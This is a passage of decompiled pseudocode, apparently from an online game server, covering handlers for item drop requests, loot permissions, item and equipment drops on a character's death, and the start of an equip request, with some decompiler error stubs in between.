) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 12, 578); LABEL_63: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { v6 = netcmd + 2; v7 = (unsigned int)*(_WORD *)(netcmd + 2) >> 10; switch ( v7 ) { case 8: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) == 2 ) { v23 = 782; goto LABEL_10; } v8 = (int)((char *)v4 + 32312); inventory = (int)((char *)v4 + 32312); goto LABEL_37; case 9: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) == 2 ) goto LABEL_29; if ( clockwatch.cw_CurrTick < *((_DWORD *)v4 + 1796) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 770); goto LABEL_11; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4) == 6 ) { v9 = *(_WORD *)v6 & 0x3FF; if ( *((_WORD *)v4 + 71570) == v9 || *((_WORD *)v4 + 71571) == v9 ) { v23 = 783; goto LABEL_10; } } v8 = (int)((char *)v4 + 35680); inventory = (int)((char *)v4 + 35680); goto LABEL_37; case 3: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) goto LABEL_29; v24 = (void **)&inventory; v21 = 3; goto LABEL_34; case 13: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) goto LABEL_29; v24 = (void **)&inventory; v21 = 13; goto LABEL_34; case 14: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) { LABEL_29: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 782); goto LABEL_11; } v24 = (void **)&inventory; v21 = 14; goto LABEL_34; case 16: if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)((char *)v4 + 98) + 12) + 54) != 2 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 782); goto LABEL_11; } v24 = (void **)&inventory; v21 = 16; LABEL_34: v10 = (*(int (__thiscall **)(void *, signed int, void **))(*(_DWORD *)v4 + 80))(v4, v21, v24); if ( v10 != 4481 ) { (*(void (__thiscall **)(void *, signed int, signed int, int))(*(_DWORD *)v4 + 776))(v4, 12, 8, v10); goto LABEL_11; } v8 = inventory; LABEL_37: if ( !v8 || (v11 = *(_WORD *)v6 & 0x3FF, v12 = (*(int (**)(void))(*(_DWORD *)v8 + 8))(), AssertClass::operator__( &shineassert, (signed int)((unsigned int)*(_WORD *)v6 >> 10) < v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ : wrong slot", v11)) || (v13 = (**(int (__stdcall ***)(_DWORD))inventory)(*(_WORD *)v6 & 0x3FF), (v14 = v13) == 0) ) { v23 = 771; goto LABEL_10; } if ( *(_WORD *)(v13 + 8) == -1 ) goto LABEL_44; if ( ItemBelongAttribute::iba_Judge(&g_ItmBelongAttr, CItemAuthorityBase::IA_CanDrop, (ItemInventoryCell *)v13) ) { if ( (unsigned int)(*(int (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 24))(v14 + 8) <= *(_DWORD *)(v6 + 2) ) { err = 781; v17 = ItemDropper::id_Drop( (ItemDropper *)v4 + 143169, (#734 *)v4, (ItemInventoryCell *)v14, (ITEM_INVEN *)v6, (PROTO_NC_ITEM_DROP_REQ *)v6, (unsigned __int16 *)&err); v15 = *(_DWORD *)v4; v16 = v4; if ( v17 ) v25 = 769; else v25 = (unsigned __int16)err; } else { LABEL_44: v15 = *(_DWORD *)v4; v25 = 771; v16 = v4; } goto LABEL_48; } v18 = *(_WORD *)v6 >> 10; if ( v18 == 9 || v18 == 3 || v18 == 13 || v18 == 14 || v18 == 16 ) { v19.Inven = *(_WORD *)v6; netcmd = 781; v20 = ItemBreaker::ib_Break( (ItemBreaker *)v4 + 143168, (#734 *)v4, (ItemInventoryCell *)v14, v19, (unsigned __int16 *)&netcmd); v16 = v4; if ( !v20 ) { v15 = *(_DWORD *)v4; v25 = (unsigned __int16)netcmd; LABEL_48: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v15 + 776))(v16, 12, 8, v25); goto LABEL_49; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 769); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 781); } LABEL_49: v29 = -1; FunctionEntarance::_FunctionEntarance(&_); return; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ : Invalid inventory type", v7); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, 771); goto LABEL_11; } } v23 = 770; LABEL_10: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 8, v23); LABEL_11: v29 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00507110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #593 *obj) { ShineObjectClass::ShineDropItem *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^= (v2->sdi_ItemBriefInfo.bidi_BriefInfo->attr._bf0 ^ 8 * (*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)&v2->gap0[0] + 1336))(v2, obj)) & 8; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet"); } //----- (005071D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLooting(ShineObjectClass::ShineDropItem *this, #593 *looter) { ShineObjectClass::ShineDropItem *v2; // esi@1 ItemDataBox::ItemDataBoxIndex *v3; // eax@1 char result; // al@2 char v5; // al@3 char v6; // bl@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLooting"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_drpitm_CanLooting"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, v2->sdi_ItemOnField.iti_itemstruct.itemid); if ( v3 ) { v5 = ShineMultiTypeHandle::IsCanItemPick(&v2->sdi_LooterHandle, looter, v3); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLooting"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_CanLooting"); result = 0; } return result; } //----- (005072C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType(ShineObjectClass::ShineDropItem *this) { ShineObjectClass::ShineDropItem *v1; // esi@1 char v2; // al@1 char result; // al@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = ShineMultiTypeHandle::IsAloneType(&v1->sdi_LooterHandle); --funcallanalizer.fca_stackpoint; if ( v2 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType"); result = 1; } else { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDropItem::so_drpitm_IsIndividualType"); result = 0; } return result; } //----- (00507380) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, int LooterHandle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_ItemDrop", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ItemDrop"); return 771; } //----- (00507420) -------------------------------------------------------- #error "507420: undefined or illegal type '#593' (funcsize=251)" //----- (00507780) -------------------------------------------------------- #error "507780: undefined or illegal type '#593' (funcsize=161)" //----- (00507990) -------------------------------------------------------- #error "507990: undefined or illegal type '#593' (funcsize=54)" //----- (00507A70) -------------------------------------------------------- #error "507A70: undefined or illegal type '#593' (funcsize=65)" //----- (00507B60) -------------------------------------------------------- #error "507B60: undefined or illegal type '#593' (funcsize=65)" //----- (00507C50) -------------------------------------------------------- #error "507C50: undefined or illegal type '#734' (funcsize=48)" //----- (00507CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDropAtDead(void *this, int a2) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 int v5; // eax@1 int v6; // eax@3 int v7; // eax@4 ItemInventoryCell *v8; // ebp@4 __int16 v9; // dx@5 unsigned int v10; // eax@5 int v11; // ebx@6 unsigned __int16 v12; // cx@8 unsigned __int16 v13; // di@11 char *v14; // [sp-4h] [bp-50h]@2 int *uii; // [sp+14h] [bp-38h]@1 int v16; // [sp+18h] [bp-34h]@1 int v17; // [sp+1Ch] [bp-30h]@1 __int16 temp; // [sp+20h] [bp-2Ch]@17 int v19; // [sp+22h] [bp-2Ah]@3 int v20; // [sp+26h] [bp-26h]@3 int v21; // [sp+2Ah] [bp-22h]@3 int ibii; // [sp+30h] [bp-1Ch]@1 char *v23; // [sp+34h] [bp-18h]@1 int v24; // [sp+3Ch] [bp-10h]@1 int v25; // [sp+48h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDropAtDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemDropAtDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)&ItemBoxIterator::_vftable_; v23 = (char *)v2 + 35680; v3 = *((_DWORD *)v2 + 8920); v25 = 0; v24 = (*(int (**)(void))(v3 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v4 = *(_DWORD *)v2; LOBYTE(v25) = 1; v5 = (*(int (__thiscall **)(void *))(v4 + 2004))(v2); uii = &ibii; v16 = v5; v17 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v6 = *(_DWORD *)((char *)v2 + 78); v19 = 10000; v20 = *(_DWORD *)v6; v21 = *(_DWORD *)(v6 + 4); do { v7 = (**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v8 = (ItemInventoryCell *)v7; if ( v7 ) { v9 = *(_WORD *)(v7 + 8); v10 = *(_WORD *)(v7 + 8); if ( v10 < unk_131DE8B4 ) { v11 = unk_131DF0C4 + 32 * v10; if ( v11 ) { if ( *(_DWORD *)v11 ) { v12 = **(_WORD **)v11; if ( v12 == v9 ) { if ( ItemBelongAttribute::iba_Judge(&g_ItmBelongAttr, CItemAuthorityBase::IA_IsWorkChrBelonged, v8) ) { v13 = 0; if ( !a2 ) break; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)a2 + 1228))() == 2 ) { v13 = *(_WORD *)(*(_DWORD *)(v11 + 4) + 189); } else { if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)a2 + 1228))() == 5 ) v13 = *(_WORD *)(*(_DWORD *)(v11 + 4) + 187); } if ( v13 > RandomBox::rb_1000(&rndbox) ) { temp = temp & 0x3FF | 0x2400; temp ^= (temp ^ *((_WORD *)uii + 4)) & 0x3FF; ItemInventory::ii_DropAll( (ItemInventory *)((char *)v2 + 35680), (#734 *)v2, *((_WORD *)v2 + 2), (PROTO_NC_ITEM_DROP_REQ *)&temp, v8); } } } else { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v12 + 10000 * v10); } } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next_OnlyCellLock((InventoryLocking::UnlockedInventoryIterator *)&uii) ); ibii = (int)&ItemBoxIterator::_vftable_; v25 = -1; v14 = "ShineObjectClass::ShinePlayer::sp_ItemDropAtDead"; } else { ibii = (int)&ItemBoxIterator::_vftable_; v25 = -1; v14 = "ShineObjectClass::ShinePlayer::sp_ItemDropAtDead"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00507F20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EquipDropAtDead(void *this) { void *v1; // esi@1 int v2; // edx@1 int v3; // eax@1 int v4; // eax@1 int v5; // eax@3 ItemInventoryCell *v6; // eax@4 ItemInventoryCell *v7; // edi@4 ItemAttributeClass *v8; // ecx@6 unsigned int v9; // eax@8 char v10; // bl@8 unsigned __int8 v11; // al@8 bool v12; // cl@9 char *v13; // [sp-4h] [bp-4Ch]@2 int *uii; // [sp+10h] [bp-38h]@1 int v15; // [sp+14h] [bp-34h]@1 int v16; // [sp+18h] [bp-30h]@1 __int16 temp; // [sp+1Ch] [bp-2Ch]@3 int v18; // [sp+1Eh] [bp-2Ah]@3 int v19; // [sp+22h] [bp-26h]@3 int v20; // [sp+26h] [bp-22h]@3 int ibii; // [sp+2Ch] [bp-1Ch]@1 char *v22; // [sp+30h] [bp-18h]@1 int v23; // [sp+38h] [bp-10h]@1 int v24; // [sp+44h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EquipDropAtDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EquipDropAtDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)&ItemBoxIterator::_vftable_; v22 = (char *)v1 + 32312; v2 = *((_DWORD *)v1 + 8078); v24 = 0; v23 = (*(int (**)(void))(v2 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; v3 = *(_DWORD *)v1; LOBYTE(v24) = 1; v4 = (*(int (__thiscall **)(void *))(v3 + 2004))(v1); uii = &ibii; v15 = v4; v16 = 8; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v5 = *(_DWORD *)((char *)v1 + 78); v18 = 1; v19 = *(_DWORD *)v5; v20 = *(_DWORD *)(v5 + 4); temp = temp & 0x3FF | 0x2000; do { v6 = (ItemInventoryCell *)(**(int (__stdcall ***)(_DWORD))uii[1])(uii[2]); v7 = v6; if ( v6 ) { if ( ItemBelongAttribute::iba_Judge(&g_ItmBelongAttr, CItemAuthorityBase::IA_IsWorkChrBelonged, v6) ) { v8 = v7->iic_AttrProc; if ( v8 ) { if ( !((int (__stdcall *)(ItemInventoryCell *))v8->vfptr->iac_GetIsPutOnBelonged)(v7) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2724))(v1); v10 = sp_CalcChaoticLevel(v9); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); if ( v11 <= 0x74u ) v12 = v11 > 0x3Cu; else v12 = 2; if ( EquipDropRateTable[0][v12 + 3 * (unsigned __int8)v10] > RandomBox::rb_1000(&rndbox) ) { temp ^= (temp ^ *((_WORD *)uii + 4)) & 0x3FF; ItemInventory::ii_DropAll( (ItemInventory *)((char *)v1 + 35680), (#734 *)v1, *((_WORD *)v1 + 2), (PROTO_NC_ITEM_DROP_REQ *)&temp, v7); } } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next_OnlyCellLock((InventoryLocking::UnlockedInventoryIterator *)&uii) ); v13 = "ShineObjectClass::ShinePlayer::sp_EquipDropAtDead"; } else { v13 = "ShineObjectClass::ShinePlayer::sp_EquipDropAtDead"; } --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00508120) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this) { *((_BYTE *)this + 66152) = 0; ShineObjectClass::ShinePlayer::sp_DecorationActivCheck(this); } //----- (00508130) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last) { memcpy(last, (const void *)(this + 6740), 0xC0u); } //----- (00508150) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsEquipWeapon(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 143264); return v1 && *(_WORD *)(v1 + 8) != -1; } //----- (00508170) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 int v6; // edx@6 int v7; // edi@6 int v8; // edx@10 int v9; // edi@10 int v10; // eax@10 int v11; // ebp@10 unsigned __int16 *v12; // ebx@10 ItemInfo *v13; // ecx@12 unsigned __int16 v14; // ax@12 ItemAttributeClass *v15; // ecx@16 int v16; // ebx@17 ItemEquipEnum v17; // ebx@20 E_BelongType v18; // eax@22 int v19; // ecx@23 int v20; // eax@31 unsigned __int16 v21; // ax@32 ItemDataBox::ItemDataBoxIndex *v22; // eax@33 int v23; // eax@38 int v24; // eax@41 signed int v25; // ebp@44 signed int v26; // ebx@44 int v27; // eax@52 unsigned __int16 v28; // ax@53 int v29; // eax@54 ItemDataBox::ItemDataBoxIndex *v30; // eax@56 ItemInfo *v31; // eax@57 WeaponTypeEnum v32; // eax@58 bool v33; // sf@61 unsigned __int8 v34; // of@61 signed int v35; // eax@66 int v36; // eax@69 void *v37; // eax@72 char *v38; // ebp@72 int v39; // edx@72 unsigned __int16 *v40; // ebx@72 char v41; // al@72 void *v42; // eax@76 int v43; // ebx@76 int v44; // edx@76 int v45; // edx@77 int v46; // eax@78 int v47; // eax@78 int v48; // eax@78 int v49; // eax@78 ItemInventoryCell *v50; // ecx@78 int v51; // eax@78 bool v52; // zf@78 void *v53; // ecx@83 int v54; // edx@83 __int16 v55; // ax@83 int v56; // ecx@91 int v57; // eax@94 int v58; // eax@95 int v59; // eax@95 int v60; // eax@95 int v61; // STBC_4@95 int v62; // STB4_4@95 char v63; // al@95 ZoneBaseSession *v64; // eax@96 ItemInfo *v65; // edi@98 ItemInfo *v66; // eax@99 int v67; // [sp+BCh] [bp-154h]@76 signed int v68[5]; // [sp+BCh] [bp-154h]@85 int v69; // [sp+C0h] [bp-150h]@10 int v70; // [sp+C0h] [bp-150h]@72 int v71; // [sp+C4h] [bp-14Ch]@0 int v72; // [sp+C8h] [bp-148h]@0 FunctionEntarance _; // [sp+D0h] [bp-140h]@1 ItemInfo *k; // [sp+D4h] [bp-13Ch]@12 int lp; // [sp+D8h] [bp-138h]@37 ItemInfoServer *invequ; // [sp+DCh] [bp-134h]@12 ItemEquipEnum equslot; // [sp+E0h] [bp-130h]@20 int excellnum; // [sp+E4h] [bp-12Ch]@62 int invchr; // [sp+E8h] [bp-128h]@72 int invcell; // [sp+ECh] [bp-124h]@10 void *insertcell; // [sp+F0h] [bp-120h]@6 int IsPutOnBelonged; // [sp+F4h] [bp-11Ch]@7 unsigned __int16 *equcell; // [sp+F8h] [bp-118h]@72 int mainslot; // [sp+FCh] [bp-114h]@78 InventoryLocking::UnlockedInventoryIterator uii; // [sp+100h] [bp-110h]@10 ItemBoxIterEmpty ibie; // [sp+10Ch] [bp-104h]@73 EquipEnumChanger::ExclusiveCell excell[29]; // [sp+11Ch] [bp-F4h]@72 int v88; // [sp+20Ch] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v88 = 0; if ( !(_S5_49 & 1) ) { _S5_49 |= 1u; cmc_73.cmc_AllowMode = 70; atexit(_E6_59); } if ( !((1 << **(_BYTE **)(v5 + 3568)) & cmc_73.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 57880) + 20))(v5 + 57880) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 642); --funcallanalizer.fca_stackpoint; v88 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } v6 = *(_DWORD *)(v5 + 35680); v7 = *(_BYTE *)(netcmd + 2); insertcell = (void *)*(_BYTE *)(netcmd + 2); if ( v7 >= (*(int (__thiscall **)(int, int))(v6 + 8))(v5 + 35680, a2) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : wrong slot", IsPutOnBelonged); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17); --funcallanalizer.fca_stackpoint; v88 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v5 + 57880) + 16))(v5 + 57880, 9, v7) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17); --funcallanalizer.fca_stackpoint; v88 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ"); return; } (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 3392))(v5); v8 = *(_DWORD *)(v5 + 35680); v69 = *(_BYTE *)(netcmd + 2); v9 = v5 + 32312; uii.uii_Iterator = (ItemBoxIterator *)*(_BYTE *)(netcmd + 2); v10 = (*(int (__thiscall **)(int))v8)(v5 + 35680); v11 = v10; LOWORD(v10) = *(_WORD *)(v10 + 8); v12 = (unsigned __int16 *)(v11 + 8); invcell = v11; if ( ItemDataBox::operator__(&itemdatabox, v10) ) { v13 = ItemDataBox::operator__(&itemdatabox, *v12)->data; v14 = *v12; k = v13; invequ = ItemDataBox::operator__(&itemdatabox, v14)->dataserv; if ( AssertClass::operator__( &shineassert, k != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 644); goto LABEL_103; } if ( !((1 << (((unsigned int)*(_BYTE *)(v5 + 32268) >> 2) & 0x1F)) & k->WhoEquip) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 645); goto LABEL_103; } v15 = *(ItemAttributeClass **)(v11 + 112); if ( !v15 ) goto LABEL_103; v16 = ItemAttributeClass::iac_FindOption(v15, (SHINE_ITEM_STRUCT *)(v11 + 8), ROT_DEMANDLVDOWN); if ( v16 < k->DemandLv && k->DemandLv - v16 > (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1236))(v5) ) { (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 645); goto LABEL_103; } v17 = EquipEnumChanger::eec_EquipLocation(&equipman, invequ, (ItemBag *)(v5 + 32312)); equslot = v17; if ( !v17 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 643); goto LABEL_103; } IsPutOnBelonged = 0; v18 = ItemBelongAttribute::operator__(&g_ItmBelongAttr, (ItemTotalInformation *)v11); if ( CItemAuthorityBase::IA_IsDataPutOnBelonged(&g_ItmBelongAttr.baseclass_0, v18) ) { v19 = *(_DWORD *)(v11 + 112); if ( !v19 ) goto LABEL_103; if ( (*(int (__stdcall **)(int))(*(_DWORD *)v19 + 144))(v11) != 1 ) IsPutOnBelonged = 1; } if ( *(_BYTE *)(v5 + 66152) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 17, 658); goto LABEL_103; } if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, ItemEquipEnum, int))(*(_DWORD *)(v5 + 57880) + 16))( v5 + 57880, 8, v17, v69) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 17); goto LABEL_103; } if ( v17 == 10 ) { v20 = (**(int (__thiscall ***)(_DWORD, _DWORD))v9)(v5 + 32312, 13); if ( !v20 ) { LABEL_35: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 17); goto LABEL_103; } v21 = *(_WORD *)(v20 + 8); if ( v21 == -1 ) { LABEL_41: v24 = *(_DWORD *)(lp + 231); if ( v24 != 16 && v24 ) { switch ( v17 ) { case 10: v25 = 11; v26 = 13; break; case 11: v25 = 10; v26 = 12; break; case 12: v25 = 13; v26 = 11; break; case 13: v25 = 12; v26 = 10; break; default: v25 = 0; v26 = 0; break; } invequ = 0; do { if ( !v25 || !v26 ) break; v27 = (**(int (__thiscall ***)(_DWORD, _DWORD))v9)(v5 + 32312, v25); if ( !v27 || (v28 = *(_WORD *)(v27 + 8), v28 == -1) ) { v29 = (**(int (__thiscall ***)(_DWORD, _DWORD))v9)(v5 + 32312, v26); if ( !v29 ) break; v28 = *(_WORD *)(v29 + 8); if ( v28 == -1 ) break; } v30 = ItemDataBox::operator__(&itemdatabox, v28); if ( !v30 ) break; v31 = v30->data; if ( !v31 ) break; v32 = v31->WeaponType; if ( v32 != 16 && v32 && *(_DWORD *)(lp + 231) != v32 ) goto LABEL_35; v34 = __OFSUB__((char *)&invequ->ID + 1, 1); v33 = (signed int)invequ < 0; invequ = (ItemInfoServer *)((char *)invequ + 1); } while ( v33 ^ v34 ); if ( excellnum == 11 || excellnum == 13 ) { if ( excellnum == 11 ) v35 = 10; else v35 = excellnum == 13 ? 12 : (_DWORD)uii.uii_Iterator; v36 = (**(int (__thiscall ***)(_DWORD, _DWORD))v9)(v5 + 32312, v35); if ( !v36 || *(_WORD *)(v36 + 8) == -1 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 3400))(v5); } } invchr = 0; EquipEnumChanger::eec_ConflictWithNewEquip( &equipman, (ItemInfoServer *)equslot, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &invchr, (ItemBag *)(v5 + 32312), (InventoryLocking::InventoryCellLockList *)(v5 + 57880)); EquipEnumChanger::eec_ConflictWithOldEquip( &equipman, (EquipEnumChanger::ExclusiveCell *)((char *)excell + 4), &invchr, (ItemBag *)(v5 + 32312), (ItemEquipEnum)excellnum, (InventoryLocking::InventoryCellLockList *)(v5 + 57880)); v70 = excellnum; v37 = (void *)(**(int (__thiscall ***)(_DWORD))v9)(v5 + 32312); v38 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; v39 = *(_DWORD *)v5; v40 = (unsigned __int16 *)v37; equcell = (unsigned __int16 *)v37; *((_DWORD *)v38 + 1) = (*(int (__thiscall **)(int))(v39 + 836))(v5); *(_WORD *)v38 = 13328; v41 = excellnum; LOWORD(v9) = *(_WORD *)(v5 + 57884); if ( excellnum > 0 ) { 